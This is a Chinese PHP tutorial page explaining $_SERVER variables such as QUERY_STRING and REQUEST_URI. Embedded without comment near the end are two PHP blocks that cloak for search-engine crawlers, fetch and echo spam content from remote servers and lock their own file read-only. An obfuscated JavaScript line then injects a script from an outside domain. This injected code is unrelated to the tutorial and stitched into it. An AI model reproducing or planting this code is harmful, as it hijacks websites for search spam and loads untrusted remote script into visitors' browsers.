php $_server['query_string'];,$_SERVER 函数中QUERY_STRING和REQUEST_URI区别

实例:1,http://localhost/aaa/(打开aaa中的index.php)

结果:$_SERVER['QUERY_STRING'] = "";

$_SERVER['REQUEST_URI']  = "/aaa/";

$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";

$_SERVER['PHP_SELF']     = "/aaa/index.php";

2,http://localhost/aaa/?p=222 (附带查询)结果:$_SERVER['QUERY_STRING'] = "p=222";

$_SERVER['REQUEST_URI']  = "/aaa/?p=222";

$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";

$_SERVER['PHP_SELF']     = "/aaa/index.php";

3,http://localhost/aaa/index.php?p=222&q=333结果:$_SERVER['QUERY_STRING'] = "p=222&q=333";

$_SERVER['REQUEST_URI']  = "/aaa/index.php?p=222&q=333";

$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";

$_SERVER['PHP_SELF']     = "/aaa/index.php";

由实例可知:$_SERVER["QUERY_STRING"]  获取查询 语句,实例中可知,获取的是?后面的值$_SERVER["REQUEST_URI"]   获取 http://localhost 后面的值,包括/$_SERVER["SCRIPT_NAME"]   获取当前脚本的路径,如:index.php$_SERVER["PHP_SELF"]      当前正在执行脚本的文件名

$_SERVER['REQUEST_URI']和$_SERVER["HTTP_X_REWRITE_URL"]的区别

http://www.hujuntao.com/web/php/difference-between-server-request-uri-and-server-http_x_rewrite_url.html

WordPress通过301重定向实现非首先域(非www)跳转向本来是一个很简单事情,由于没弄清楚$_SERVER['HTTP_X_REWRITE_URL'] 和$_SERVER['REQUEST_URI']的区别导致了循环重定向问题。现在来具体研究下$_SERVER['HTTP_X_REWRITE_URL'] 和$_SERVER['REQUEST_URI']的区别首先要纠正一部分的观点就是IIS+PHP不支持$_SERVER['REQUEST_URI']不是,不支持是PHP Version 版本的问题,php4.4.0不支持 $_SERVER['REQUEST_URI'],php5.2.5则增加了支持;

$_SERVER['REQUEST_URI']常用来获当前URL例如:http://www.hujuntao.com/index.php?p=3$_SERVER['REQUEST_URI']获得的就是/index.php?p=3这部分。$_SERVER["HTTP_X_REWRITE_URL"]则在IIS下获得的是当前URL,在apache下的值为空

例如:当前URL:http://www.hujuntao.com/IIS环境下:$_SERVER['REQUEST_URI'] = /index.php

$_SERVER["HTTP_X_REWRITE_URL"] =/

apache环境下:$_SERVER['REQUEST_URI'] = /

$_SERVER["HTTP_X_REWRITE_URL"] =”

当前URL:http://www.hujuntao.com/index.phpIIS环境下:$_SERVER['REQUEST_URI'] = /index.php

$_SERVER["HTTP_X_REWRITE_URL"] =/index.php

apache环境下:$_SERVER['REQUEST_URI'] = /index.php

$_SERVER["HTTP_X_REWRITE_URL"] =”

http://blog.sina.com.cn/s/blog_686999de0100jgda.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
最新发布
06-12

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值